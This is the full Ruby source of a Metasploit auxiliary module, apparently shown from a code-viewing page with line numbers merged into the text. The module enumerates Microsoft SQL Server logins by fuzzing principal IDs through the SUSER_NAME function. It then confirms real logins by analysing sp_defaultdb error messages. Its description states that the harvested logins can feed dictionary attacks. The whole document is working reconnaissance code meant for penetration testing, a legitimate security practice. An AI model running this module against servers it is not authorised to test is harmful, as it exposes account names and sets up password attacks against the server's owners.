Path: blob/master/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration',13'Description' => %q{14This module can be used to obtain a list of all logins from a SQL Server with any login.15Selecting all of the logins from the master..syslogins table is restricted to sysadmins.16However, logins with the PUBLIC role (everyone) can quickly enumerate all SQL Server17logins using the SUSER_SNAME function by fuzzing the principal_id parameter. This is18pretty simple, because the principal IDs assigned to logins are incremental. Once logins19have been enumerated they can be verified via sp_defaultdb error analysis. This is20important, because not all of the principal IDs resolve to SQL logins (some resolve to21roles instead). Once logins have been enumerated, they can be used in dictionary attacks.22},23'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],24'License' => MSF_LICENSE,25'References' => [['URL', 'https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql']],26'Notes' => {27'Stability' => [CRASH_SAFE],28'SideEffects' => [IOC_IN_LOGS],29'Reliability' => []30}31)32)3334register_options(35[36OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 300]),37]38)39end4041def run42# Check connection and issue initial query43print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")4445unless mssql_login_datastore46print_error('Login was unsuccessful. Check your credentials.')47disconnect48return49end5051print_good('Connected.')5253# Query for sysadmin status54print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")55user_status = check_sysadmin5657# Check if user has sysadmin role58if user_status == 159print_good("#{datastore['USERNAME']} is a sysadmin.")60else61print_status("#{datastore['USERNAME']} is NOT a sysadmin.")62end6364# Get a list if sql server logins using SUSER_NAME()65print_status("Setup to fuzz #{datastore['FuzzNum']} SQL Server logins.")66print_status('Enumerating logins...')67sql_logins_list = get_sql_logins68if sql_logins_list.nil? || sql_logins_list.empty?69print_error('Sorry, somethings went wrong - SQL Server logins were found.')70disconnect71return72end7374# Print number of initial logins found75print_good("#{sql_logins_list.length} initial SQL Server logins were found.")7677sql_logins_list.sort.each do |sql_login|78if datastore['VERBOSE']79print_status(" - #{sql_login}")80end81end8283# Verify the enumerated SQL Logins using sp_defaultdb error ananlysis84print_status('Verifying the SQL Server logins...')85sql_logins_list_verified = verify_logins(sql_logins_list)86if sql_logins_list_verified.nil?87print_error('Sorry, no SQL Server logins could be verified.')88disconnect89return90end9192# Display list verified SQL Server logins93print_good("#{sql_logins_list_verified.length} SQL Server logins were verified:")94sql_logins_list_verified.sort.each do |sql_login|95print_status(" - #{sql_login}")96end9798disconnect99end100101# Checks if user is a sysadmin102def check_sysadmin103# Setup query to check for sysadmin104sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"105106# Run query107result = mssql_query(sql)108109# Parse query results110parse_results = result[:rows]111status = parse_results[0][0]112113# Return status114return status115end116117# Gets trusted databases owned by sysadmins118def get_sql_logins119# Create array to store the sql logins120sql_logins = []121122# Fuzz the principal_id parameter passed to the SUSER_NAME function123(1..datastore['FuzzNum']).each do |principal_id|124# Setup query125sql = "SELECT SUSER_NAME(#{principal_id}) as login"126127# Execute query128result = mssql_query(sql)129130# Parse results131parse_results = result[:rows]132sql_login = parse_results[0][0]133134# Add to sql server login list135sql_logins.push(sql_login) unless sql_logins.include?(sql_login)136end137138# Return list of logins139sql_logins140end141142# Checks if user has the db_owner role143def verify_logins(sql_logins_list)144# Create array for later use145verified_sql_logins = []146147fake_db_name = Rex::Text.rand_text_alpha_upper(24)148149# Check if the user has the db_owner role is any databases150sql_logins_list.each do |sql_login|151# Setup query152sql = "EXEC sp_defaultdb '#{sql_login}', '#{fake_db_name}'"153154# Execute query155result = mssql_query(sql)156157# Parse results158parse_results = result[:errors]159result = parse_results[0]160161# Check if sid resolved to a sql login162if result.include?(fake_db_name) && !verified_sql_logins.include?(sql_login)163verified_sql_logins.push(sql_login)164end165166# Check if sid resolved to a sql login167if result.include?('alter the login') && !verified_sql_logins.include?(sql_login)168# Add sql server login to verified list169verified_sql_logins.push(sql_login)170end171end172173verified_sql_logins174end175end176177178